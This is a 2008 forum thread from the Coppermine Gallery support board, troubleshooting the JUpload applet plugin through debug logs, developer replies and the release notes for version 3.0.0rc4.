18:32:00.046 [DEBUG] Cookie: e0d95d9701a71303eece217fec6abf99=e03713aa38afd8dfe1ccbbe08f7839fc; cpg143_data=YTo2OntzOjI6IklEIjtzOjMyOiJmMjJlZTU3YTI0ZDE2ZWNmMTcxMjcwYWUzZjNhMzE4MyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTo1OntpOjA7czo2OiI0MDA5MTUiO2k6MTtzOjY6IjE3MDU4OCI7aToyO3M6NjoiNDAxNTQxIjtpOjM7czo2OiI0MDE1NTMiO2k6NDtzOjY6IjQwMTU2NyI7fXM6MzoibGFwIjtpOjY7czo2OiJzZWFyY2giO2E6ODp7czo2OiJzZWFyY2giO3M6MTY6IkpBTEJBMDYwOTA0XzAyNnYiO3M6NToiYWxidW0iO3M6Njoic2VhcmNoIjtzOjU6InRpdGxlIjtzOjI6Im9uIjtzOjEwOiJuZXdlcl90aGFuIjtzOjA6IiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjEwOiJvbGRlcl90aGFuIjtzOjA6IiI7czo4OiJmaWxlbmFtZSI7czoyOiJvbiI7czo2OiJwYXJhbXMiO2E6Mzp7czo1OiJ0aXRsZSI7czoyOiJvbiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjg6ImZpbGVuYW1lIjtzOjI6Im9uIjt9fX0%3D; PHPSESSID=7kjugskig5nnmn7v9i7t329kf4
18:32:00.046 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
18:32:00.046 [DEBUG] Using non SSL socket, direct connection
18:32:00.046 [DEBUG] in UploadFileData.uploadFile (amount:30000, getUploadLength(): 181099)
18:32:00.093 [DEBUG] -------- Response Headers Start --------
18:32:00.093 [DEBUG] HTTP/1.1 200 OK
18:32:00.093 [DEBUG] Date: Tue, 29 Jan 2008 17:32:34 GMT
18:32:00.093 [DEBUG] Server: Apache
18:32:00.093 [DEBUG] Expires: Thu, 19 Nov 1981 08:52:00 GMT
18:32:00.093 [DEBUG] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
18:32:00.093 [DEBUG] Pragma: no-cache
18:32:00.093 [DEBUG] Content-Length: 128
18:32:00.093 [DEBUG] Connection: close
18:32:00.093 [DEBUG] Content-Type: text/plain; charset=UTF-8
18:32:00.093 [DEBUG]
18:32:00.093 [DEBUG] --------- Response Headers End ---------
18:32:00.093 [DEBUG] HTTP status: 200 OK
18:32:00.093 [DEBUG] chunkHttpParam: jupart=3&jufinal=0
18:32:00.093 [DEBUG] Cookie: e0d95d9701a71303eece217fec6abf99=e03713aa38afd8dfe1ccbbe08f7839fc; cpg143_data=YTo2OntzOjI6IklEIjtzOjMyOiJmMjJlZTU3YTI0ZDE2ZWNmMTcxMjcwYWUzZjNhMzE4MyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTo1OntpOjA7czo2OiI0MDA5MTUiO2k6MTtzOjY6IjE3MDU4OCI7aToyO3M6NjoiNDAxNTQxIjtpOjM7czo2OiI0MDE1NTMiO2k6NDtzOjY6IjQwMTU2NyI7fXM6MzoibGFwIjtpOjY7czo2OiJzZWFyY2giO2E6ODp7czo2OiJzZWFyY2giO3M6MTY6IkpBTEJBMDYwOTA0XzAyNnYiO3M6NToiYWxidW0iO3M6Njoic2VhcmNoIjtzOjU6InRpdGxlIjtzOjI6Im9uIjtzOjEwOiJuZXdlcl90aGFuIjtzOjA6IiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjEwOiJvbGRlcl90aGFuIjtzOjA6IiI7czo4OiJmaWxlbmFtZSI7czoyOiJvbiI7czo2OiJwYXJhbXMiO2E6Mzp7czo1OiJ0aXRsZSI7czoyOiJvbiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjg6ImZpbGVuYW1lIjtzOjI6Im9uIjt9fX0%3D; PHPSESSID=7kjugskig5nnmn7v9i7t329kf4
18:32:00.093 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
18:32:00.093 [DEBUG] Using non SSL socket, direct connection
18:32:00.093 [DEBUG] in UploadFileData.uploadFile (amount:30000, getUploadLength(): 181099)
18:32:00.125 [DEBUG] -------- Response Headers Start --------
18:32:00.125 [DEBUG] HTTP/1.1 200 OK
18:32:00.125 [DEBUG] Date: Tue, 29 Jan 2008 17:32:34 GMT
18:32:00.125 [DEBUG] Server: Apache
18:32:00.125 [DEBUG] Expires: Thu, 19 Nov 1981 08:52:00 GMT
18:32:00.125 [DEBUG] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
18:32:00.125 [DEBUG] Pragma: no-cache
18:32:00.125 [DEBUG] Content-Length: 128
18:32:00.125 [DEBUG] Connection: close
18:32:00.125 [DEBUG] Content-Type: text/plain; charset=UTF-8
18:32:00.125 [DEBUG]
18:32:00.125 [DEBUG] --------- Response Headers End ---------
18:32:00.125 [DEBUG] HTTP status: 200 OK
18:32:00.125 [DEBUG] chunkHttpParam: jupart=4&jufinal=0
18:32:00.125 [DEBUG] Cookie: e0d95d9701a71303eece217fec6abf99=e03713aa38afd8dfe1ccbbe08f7839fc; cpg143_data=YTo2OntzOjI6IklEIjtzOjMyOiJmMjJlZTU3YTI0ZDE2ZWNmMTcxMjcwYWUzZjNhMzE4MyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTo1OntpOjA7czo2OiI0MDA5MTUiO2k6MTtzOjY6IjE3MDU4OCI7aToyO3M6NjoiNDAxNTQxIjtpOjM7czo2OiI0MDE1NTMiO2k6NDtzOjY6IjQwMTU2NyI7fXM6MzoibGFwIjtpOjY7czo2OiJzZWFyY2giO2E6ODp7czo2OiJzZWFyY2giO3M6MTY6IkpBTEJBMDYwOTA0XzAyNnYiO3M6NToiYWxidW0iO3M6Njoic2VhcmNoIjtzOjU6InRpdGxlIjtzOjI6Im9uIjtzOjEwOiJuZXdlcl90aGFuIjtzOjA6IiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjEwOiJvbGRlcl90aGFuIjtzOjA6IiI7czo4OiJmaWxlbmFtZSI7czoyOiJvbiI7czo2OiJwYXJhbXMiO2E6Mzp7czo1OiJ0aXRsZSI7czoyOiJvbiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjg6ImZpbGVuYW1lIjtzOjI6Im9uIjt9fX0%3D; PHPSESSID=7kjugskig5nnmn7v9i7t329kf4
18:32:00.125 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
18:32:00.125 [DEBUG] Using non SSL socket, direct connection
18:32:00.125 [DEBUG] in UploadFileData.uploadFile (amount:30000, getUploadLength(): 181099)
18:32:00.187 [DEBUG] -------- Response Headers Start --------
18:32:00.187 [DEBUG] HTTP/1.1 200 OK
18:32:00.187 [DEBUG] Date: Tue, 29 Jan 2008 17:32:34 GMT
18:32:00.187 [DEBUG] Server: Apache
18:32:00.187 [DEBUG] Expires: Thu, 19 Nov 1981 08:52:00 GMT
18:32:00.187 [DEBUG] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
18:32:00.187 [DEBUG] Pragma: no-cache
18:32:00.187 [DEBUG] Content-Length: 128
18:32:00.187 [DEBUG] Connection: close
18:32:00.187 [DEBUG] Content-Type: text/plain; charset=UTF-8
18:32:00.187 [DEBUG]
18:32:00.187 [DEBUG] --------- Response Headers End ---------
18:32:00.187 [DEBUG] HTTP status: 200 OK
18:32:00.203 [DEBUG] chunkHttpParam: jupart=5&jufinal=0
18:32:00.203 [DEBUG] Cookie: e0d95d9701a71303eece217fec6abf99=e03713aa38afd8dfe1ccbbe08f7839fc; cpg143_data=YTo2OntzOjI6IklEIjtzOjMyOiJmMjJlZTU3YTI0ZDE2ZWNmMTcxMjcwYWUzZjNhMzE4MyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTo1OntpOjA7czo2OiI0MDA5MTUiO2k6MTtzOjY6IjE3MDU4OCI7aToyO3M6NjoiNDAxNTQxIjtpOjM7czo2OiI0MDE1NTMiO2k6NDtzOjY6IjQwMTU2NyI7fXM6MzoibGFwIjtpOjY7czo2OiJzZWFyY2giO2E6ODp7czo2OiJzZWFyY2giO3M6MTY6IkpBTEJBMDYwOTA0XzAyNnYiO3M6NToiYWxidW0iO3M6Njoic2VhcmNoIjtzOjU6InRpdGxlIjtzOjI6Im9uIjtzOjEwOiJuZXdlcl90aGFuIjtzOjA6IiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjEwOiJvbGRlcl90aGFuIjtzOjA6IiI7czo4OiJmaWxlbmFtZSI7czoyOiJvbiI7czo2OiJwYXJhbXMiO2E6Mzp7czo1OiJ0aXRsZSI7czoyOiJvbiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjg6ImZpbGVuYW1lIjtzOjI6Im9uIjt9fX0%3D; PHPSESSID=7kjugskig5nnmn7v9i7t329kf4
18:32:00.203 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
18:32:00.203 [DEBUG] Using non SSL socket, direct connection
18:32:00.203 [DEBUG] in UploadFileData.uploadFile (amount:30000, getUploadLength(): 181099)
18:32:00.234 [DEBUG] -------- Response Headers Start --------
18:32:00.234 [DEBUG] HTTP/1.1 200 OK
18:32:00.234 [DEBUG] Date: Tue, 29 Jan 2008 17:32:34 GMT
18:32:00.234 [DEBUG] Server: Apache
18:32:00.234 [DEBUG] Expires: Thu, 19 Nov 1981 08:52:00 GMT
18:32:00.234 [DEBUG] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
18:32:00.234 [DEBUG] Pragma: no-cache
18:32:00.234 [DEBUG] Content-Length: 128
18:32:00.234 [DEBUG] Connection: close
18:32:00.234 [DEBUG] Content-Type: text/plain; charset=UTF-8
18:32:00.234 [DEBUG]
18:32:00.234 [DEBUG] --------- Response Headers End ---------
18:32:00.234 [DEBUG] HTTP status: 200 OK
18:32:00.234 [DEBUG] chunkHttpParam: jupart=6&jufinal=1
18:32:00.234 [DEBUG] Cookie: e0d95d9701a71303eece217fec6abf99=e03713aa38afd8dfe1ccbbe08f7839fc; cpg143_data=YTo2OntzOjI6IklEIjtzOjMyOiJmMjJlZTU3YTI0ZDE2ZWNmMTcxMjcwYWUzZjNhMzE4MyI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTo1OntpOjA7czo2OiI0MDA5MTUiO2k6MTtzOjY6IjE3MDU4OCI7aToyO3M6NjoiNDAxNTQxIjtpOjM7czo2OiI0MDE1NTMiO2k6NDtzOjY6IjQwMTU2NyI7fXM6MzoibGFwIjtpOjY7czo2OiJzZWFyY2giO2E6ODp7czo2OiJzZWFyY2giO3M6MTY6IkpBTEJBMDYwOTA0XzAyNnYiO3M6NToiYWxidW0iO3M6Njoic2VhcmNoIjtzOjU6InRpdGxlIjtzOjI6Im9uIjtzOjEwOiJuZXdlcl90aGFuIjtzOjA6IiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjEwOiJvbGRlcl90aGFuIjtzOjA6IiI7czo4OiJmaWxlbmFtZSI7czoyOiJvbiI7czo2OiJwYXJhbXMiO2E6Mzp7czo1OiJ0aXRsZSI7czoyOiJvbiI7czo3OiJjYXB0aW9uIjtzOjI6Im9uIjtzOjg6ImZpbGVuYW1lIjtzOjI6Im9uIjt9fX0%3D; PHPSESSID=7kjugskig5nnmn7v9i7t329kf4
18:32:00.234 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
18:32:00.234 [DEBUG] Using non SSL socket, direct connection
18:32:00.234 [DEBUG] in UploadFileData.uploadFile (amount:31099, getUploadLength(): 181099)
18:32:00.265 [DEBUG] -------- Response Headers Start --------
18:32:00.265 [DEBUG] HTTP/1.1 200 OK
18:32:00.265 [DEBUG] Date: Tue, 29 Jan 2008 17:32:34 GMT
18:32:00.265 [DEBUG] Server: Apache
18:32:00.265 [DEBUG] Expires: Thu, 19 Nov 1981 08:52:00 GMT
18:32:00.265 [DEBUG] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
18:32:00.265 [DEBUG] Pragma: no-cache
18:32:00.265 [DEBUG] Content-Length: 251
18:32:00.265 [DEBUG] Connection: close
18:32:00.265 [DEBUG] Content-Type: text/plain; charset=UTF-8
18:32:00.265 [DEBUG]
18:32:00.265 [DEBUG] --------- Response Headers End ---------
18:32:00.265 [DEBUG] HTTP status: 200 OK
18:32:00.265 [INFO] Debug level set to 1
18:32:00.265 [INFO] Current debug output file: C:\DOCUME~1\JONNYE~1\LOCALS~1\Temp\jupload_13944_log.txt
18:32:00.265 [DEBUG] ======= Parameters managed by PictureUploadPolicy
18:32:00.265 [DEBUG] fileChooserImagePreview: true
18:32:00.265 [DEBUG] highQualityPreview : false
18:32:00.265 [DEBUG] pictureCompressionQuality : 0.8
18:32:00.265 [DEBUG] pictureTransmitMetadata : true
18:32:00.265 [DEBUG] maxPicWidth : 7000, maxPicHeight : 7000
18:32:00.265 [DEBUG] realMaxPicWidth : 7000, realMaxPicHeight : 7000
18:32:00.265 [DEBUG] storeBufferedImage : false
18:32:00.265 [DEBUG] targetPictureFormat : null
18:32:00.265 [DEBUG]
18:32:00.265 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
18:32:00.265 [DEBUG] albumId : 34
18:32:00.265 [DEBUG]
18:32:04.875 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
18:32:04.875 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body

18:32:04.875 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:612)

18:32:04.875 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)

18:32:04.875 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:477)

18:32:04.875 [DEBUG] FileUploadThread: within run().finally
18:32:04.906 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:32:09.328 [DEBUG] PicturePanel.paint(): offscreenImage is null
18:32:09.437 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
18:32:09.437 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
18:32:11.906 [DEBUG] PicturePanel.paint(): offscreenImage is null

I installed just as i installed the previous version i used (build 2.6.3)

Any clue whats wrong?

EDIT: Saw that this was related to Bridging, but my gallery has no bridge, its unclear in the config page which value i need to enter if im unbridged but id think the value should be nothing?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on January 30, 2008, 12:55:11 am
I tested 2.6.4 also, this will be hard to explain. I don't know how this happens but ill try to explain.

What i wanted was jupload to automaticly rename any foreign characters like " " in filenames to "_" which it does on your demo page. With my current setup all foreign characters " " are renamed to " ? ? ? " and my gallery cannot find the correct path with "?" in the filename, so i tested the following:

When testing the RC3.0 i get the error as in my post above. http://forum.coppermine-gallery.net/index.php?topic=43432.msg241161#msg241161 (http://forum.coppermine-gallery.net/index.php?topic=43432.msg241161#msg241161)

However just after installing RC3.0 i uninstall it, and then i install 2.6.4. Then i get the following message from PHP:
Code: [Select]
Fatal error: require_once() [function.require]: Failed opening required 'plugins/jupload/include/session.inc.php' (include_path='.;C:\php5\pear') in D:\myserver\plugins\jupload\include\jupload.inc.php on line 36
now i restart apache (to clear whatever cache is still keeping sessions.inc.php running) and try upload a file containing foreign characters " " and they are SUCCESSFULLY renamed to "___" and can be read by my gallery.

HERE COMES THE TWIST!

If i restart my apache server now and try upload again without doing any changes to jupload or my configuration, all foreign characters " " will be renamed to "? ? ? " which my gallery cannot read.

So basicly what i have to do to get the result i want:

Install RC3.0
Uninstall RC3.0
Install 2.6.4
Get error from PHP :
(Fatal error: require_once() [function.require]: Failed opening required 'plugins/jupload/include/session.inc.php' (include_path='.;C:\php5\pear') in D:\myserver\plugins\jupload\include\jupload.inc.php on line 36)
Reboot apache:

And voila.

If it became unclear by the logs im running 2k3 servers (windows) i'm unsure this is the reason for the error?

Any help is appreciated, thank you.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: cgc0202 on January 30, 2008, 02:46:29 pm
Hi Etienne,

I think this applet may solve the confusion many users find with the CPG upload who are more familiar with the upload in Flickr  and other commercial sites.

I created a useralbum in your site, but it did not show the JUpload form, so I cannot do a dry run.  I generally have problems using browser based upload of images, so I use FTP mostly, and then use the mass edit for a set of images to include the text. It is cumbersome using the default mass "EDIT Files" of CPG because the following information are usually the same:

Date
Location where photo was taken
Photographer's Name and Address
Key words
etc.
including similarities in the image caption, itself. Even a generic common "Title" for all the pics would be better than no Title at all -- a specific title for each image may be placed later.

Reading through what the first step seems to be in the JUpload (as I cannot test the JUpload process from your demo site), I assume it is possible to "fill" or provide the same information for a "number of related images"? Or, even to mass edit the same set of photos in the future, in case there was a mistake, or more common information or text need to be added?

Final touches, for each image may then be done for each image, once the upload is completed.  I would prefer still to upload via FTP, although for contributors, your applet may be best.

Thus, is there a feature in the JUpload so that I can enter -- during the mass Edit process -- the common information above (in one step) for related images? Obviously, during the mass Edit, you do not want to override specific information for each image already included, so that, if possible, there must be an "option" to specify to change during the mass Edit.

I hope the above features be integrated in the CPG upload  process. This is standard in Flickr, and people are used to that.

Thanks.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 30, 2008, 10:07:29 pm
Hi,

I tested the latest build rc3 and i get the following error:

Alert pop-up message: wjhk.upload2.policies.CoppermineUploadPolicy.checkUploadSucess(): The string "^SUCCESS$" was not found in the respone body

Logfile generated from error:
<cut>

I installed just as i installed the previous version i used (build 2.6.3)

Any clue whats wrong?

Seems like chunk upload with filename containing accents doesn't work, or chunk upload is now broken. If my reading from your log is correct, your file needs 6 parts (chunks) to upload, and is named 'testr.jpg'. Correct ?

Can you try to rename it to test.jpg, and upload it the same way ?
I'll test this on my own, tomorrow.

EDIT: Saw that this was related to Bridging, but my gallery has no bridge, its unclear in the config page which value i need to enter if im unbridged but id think the value should be nothing?

No, no link: there may be, in some cases, the same issue in bridge mode. This message just says something unexpectd happened.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 30, 2008, 10:13:25 pm
I tested 2.6.4 also, this will be hard to explain. I don't know how this happens but ill try to explain.

What i wanted was jupload to automaticly rename any foreign characters like " " in filenames to "_" which it does on your demo page. With my current setup all foreign characters " " are renamed to " ? ? ? " and my gallery cannot find the correct path with "?" in the filename, so i tested the following:

When testing the RC3.0 i get the error as in my post above. http://forum.coppermine-gallery.net/index.php?topic=43432.msg241161#msg241161 (http://forum.coppermine-gallery.net/index.php?topic=43432.msg241161#msg241161)

However just after installing RC3.0 i uninstall it, and then i install 2.6.4. Then i get the following message from PHP:
Code: [Select]
Fatal error: require_once() [function.require]: Failed opening required 'plugins/jupload/include/session.inc.php' (include_path='.;C:\php5\pear') in D:\myserver\plugins\jupload\include\jupload.inc.php on line 36
now i restart apache (to clear whatever cache is still keeping sessions.inc.php running) and try upload a file containing foreign characters " " and they are SUCCESSFULLY renamed to "___" and can be read by my gallery.

HERE COMES THE TWIST!

If i restart my apache server now and try upload again without doing any changes to jupload or my configuration, all foreign characters " " will be renamed to "? ? ? " which my gallery cannot read.

So basicly what i have to do to get the result i want:

Install RC3.0
Uninstall RC3.0
Install 2.6.4
Get error from PHP :
(Fatal error: require_once() [function.require]: Failed opening required 'plugins/jupload/include/session.inc.php' (include_path='.;C:\php5\pear') in D:\myserver\plugins\jupload\include\jupload.inc.php on line 36)
Reboot apache:

And voila.

If it became unclear by the logs im running 2k3 servers (windows) i'm unsure this is the reason for the error?

Any help is appreciated, thank you.

Thanks for the tests: it's a fight !

By the way, take care to close your browser each time you update the plugin: it's the only way I know to make Java load the applet you've updated on your web site. This may explain your 'twist'.

Partially, though, as your PHP error is really strange. session.inc.php is a new include file coming from the 3.0.0rc3. So it can not exist at any place in the 2.6.4 release. Looks like the uninstall/reinstall didn't really replace all 3.0.0rc3 files by 2.6.4, or you didn't wait enough for the server to take your files into account (hum, hum, should be immediate).

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 30, 2008, 10:20:48 pm
Hi Etienne,

I think this applet may solve the confusion many users find with the CPG upload who are more familiar with the upload in Flickr  and other commercial sites.

I created a useralbum in your site, but it did not show the JUpload form, so I cannot do a dry run. 

??

I don't understand your point: I can see a cgc0202 album in the album list. I guess it's yours ?


I generally have problems using browser based upload of images, so I use FTP mostly, and then use the mass edit for a set of images to include the text. It is cumbersome using the default mass "EDIT Files" of CPG because the following information are usually the same:

Date
Location where photo was taken
Photographer's Name and Address
Key words
etc.
including similarities in the image caption, itself. Even a generic common "Title" for all the pics would be better than no Title at all -- a specific title for each image may be placed later.

Reading through what the first step seems to be in the JUpload (as I cannot test the JUpload process from your demo site), I assume it is possible to "fill" or provide the same information for a "number of related images"? Or, even to mass edit the same set of photos in the future, in case there was a mistake, or more common information or text need to be added?

Final touches, for each image may then be done for each image, once the upload is completed.  I would prefer still to upload via FTP, although for contributors, your applet may be best.

Thus, is there a feature in the JUpload so that I can enter -- during the mass Edit process -- the common information above (in one step) for related images? Obviously, during the mass Edit, you do not want to override specific information for each image already included, so that, if possible, there must be an "option" to specify to change during the mass Edit.

I hope the above features be integrated in the CPG upload  process. This is standard in Flickr, and people are used to that.

Thanks.

There is a text, just above the upload applet, that explain :

Click on this link, and enter data in the fields below, if you want these to be applied to all pictures in the next upload.

  It should be what you're looking for. This place, before upload, is actually the only place where you can 'mass edit' in my plugin. For any other place, a distinct plugin would be better. It may exist...
 
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on January 31, 2008, 10:40:45 am
Thanks for the tests: it's a fight !

By the way, take care to close your browser each time you update the plugin: it's the only way I know to make Java load the applet you've updated on your web site. This may explain your 'twist'.

Partially, though, as your PHP error is really strange. session.inc.php is a new include file coming from the 3.0.0rc3. So it can not exist at any place in the 2.6.4 release. Looks like the uninstall/reinstall didn't really replace all 3.0.0rc3 files by 2.6.4, or you didn't wait enough for the server to take your files into account (hum, hum, should be immediate).

Etienne

Hi Etienne,

I did as you told me and restarted the browser, also tested with a file named "test.jpg" but stll the same message on RC3 version

Code: [Select]
10:40:39.156 [INFO] Debug level set to 0
10:40:39.187 [INFO] Current debug output file: C:\DOCUME~1\JONNYE~1\LOCALS~1\Temp\jupload_1299_log.txt
10:40:39.187 [WARN] Invalid int value: true, using default value: 0
10:40:39.531 [WARN] Invalid int value: , using default value: 0
10:40:39.531 [INFO] JUpload plugin for coppermine version 3.0.0rc3
10:41:01.109 [INFO] Debug level set to 1
10:41:01.109 [INFO] Current debug output file: C:\DOCUME~1\JONNYE~1\LOCALS~1\Temp\jupload_1299_log.txt
10:41:04.468 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
10:41:04.484 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
10:41:04.484 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:612)
10:41:04.484 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
10:41:04.484 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:477)
10:41:05.437 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

Thanks again for all your hard work!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on January 31, 2008, 12:38:15 pm
Hi Etienne,

I did as you told me and restarted the browser, also tested with a file named "test.jpg" but stll the same message on RC3 version

Can you put debug on, and do the upload again. With this output, I can not check anything.

FYI: Chunk upload works Ok on my tests platform. With or without accents in the filename.

Etienne
Title: Announce for Release 3.0.0rc4
Post by: etienne_sf on February 06, 2008, 01:59:01 pm
Hi,

  Here is the announce for the 3.0.0 Release Candidate 4 version.

This version is available as a Release Candidate. Due to the picture quality correction, all people using 2.6.5 to 3.0.0rc3 version are encouraged to swith to this version.
The release is available here :
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

The only reason why this is not the official 3.0.0 release is the problems reported by dke. I can't repeat them. So two possibilities:
1) (My preferred one) It's now solved, or it was an installation issue, as he had problems there.
2) It's a bug on his configuration.




Release notes for 3.0.0rc4:

Changes:
  * [Major] Corrected a regression introduced in 2.6.4 release: uploaded pictures, resized by the applet, had a bad quality (basic resizing, instead of smooth resizing)
  * [Minor] Add a configuration parameter, to control whether the user can see title and desc field, or not. See the new configuration parameter: albumShowEditFields, on the JUpload plugin configuration page.
  * [Minor] metadata management changed:
    * Setting it to false now always remove metadata from picture, before upload.
    * Default value changed to false.
    * There is still a problem, when transmitting metadata, with some metadata configuration. Letting false to this parameter prevent the uploaded picture to changed to 'strange' colors.

Fixes:
  * [Major] Accents in filename are now correctly managed. UTF-8 filenames are now re-encoded, so that UTF-8 bytes can be filtered by replace_forbidden Coppermine core function.
  * [Major] 3.0.0rc1 to 3.0.0rc3 was not compatible with PHP older than 4.0.6, because of a debug output! 

Translation:
- [Swedish] Add of the Swedish translation, thanks to Erik Lindahl (erik@fisensmosse.se)
- [Minor] The applet is now displayed in Hebrew, not in the default language.
- British english now displays english, instead of the language corresponding to the local computer (default language).


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on February 06, 2008, 03:17:10 pm
Hi Etienne_sf,

Im sorry for the deelay, i had to take some time to update my gallery to 1.4.16. I just tested your new release with my recent updates of my gallery and i finally get pictures to successfully upload with the new version. However filenames containing strange characters like " " will still not be viewable by my gallery.

Quote
Accents in filename are now correctly managed. UTF-8 filenames are now re-encoded, so that UTF-8 bytes can be filtered by replace_forbidden Coppermine core function.

This is not working for me, the replace_forbidden cp core function uses "_" to replace forbidden characters, when i forbid " " and upload with the latest jupload build the characters are replaced with "?" and the gallery cannot read the path :(

However if i upload using the default upload tool "upload.php" forbidden characters are successfully replaced with "_" and read by the gallery.

Im not sure why this happens only on my gallery, i have reinstalled everything using the latest 1.4.16 build. I do have some custom code but nothing that should interfer with the jupload process.

Thanks again for the time you take to make this plugin so great!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Gephri on February 06, 2008, 08:22:37 pm
I've got JUpload v3.0.2b3

but see on your site (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb) that the latest version is 3.0.0rc4.

Which version would you recommend?

Thanks
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 06, 2008, 09:45:57 pm
I've got JUpload v3.0.2b3

but see on your site (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb) that the latest version is 3.0.0rc4.

Which version would you recommend?

Thanks

The latests one, just released today is the best one: 3.0.0rc4.

  From dke info, he gave have just after, I could have released the 3.0.0, instead of the 3.0.0rc4 . I'm just add a control on the configuration page.
  I attach 3.0.0rc4 to this thread, as uploaded pictures are of better quality than 2.6.4, and previous 3.0.0 (which contains a regression).

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Gephri on February 07, 2008, 02:48:27 am
thanks!  fantastic improvements!
Title: The string SUCCESS was not found in the response body
Post by: tiburcillo on February 07, 2008, 01:40:11 pm
[Edit GauGau] Replaced hotlinked image with attachment [/Edit]

After a brand new install of Coppermine 1.4.16 and the latest Jupload 3.0.0rc4, i still get the SUCCESS error when I try to use the plugin.
I've put PHP Safe mode to off, and I checked all the access rights twice, I even changed the ownership of the entire domain to the user running the apache process. Normal file-by-file upload works as well.
Here's an outpot from the debug log, with Opera and Firefox browsers:
Firefox:
Code: [Select]
11:57:01.656 [DEBUG] Action : Upload
11:57:01.671 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
11:57:01.671 [DEBUG] Timer started
11:57:01.671 [DEBUG] [getWorkingSourceFile] Creating a copy of 41890-caribbean_1600x1200.jpg as a source working target.
11:57:01.671 [DEBUG] Using working copy temp file C:\DOCUME~1\BE400097\LOCALS~1\Temp\jupload_32077.tmp.jpg for 41890-caribbean_1600x1200.jpg
11:57:01.703 [DEBUG] PicturePanel.paint(): offscreenImage is null
11:57:01.703 [DEBUG] File read: C:\DOCUME~1\BE400097\LOCALS~1\Temp\jupload_32077.tmp.jpg
11:57:03.359 [DEBUG] freeMemory (after end of readImage) : 52650536
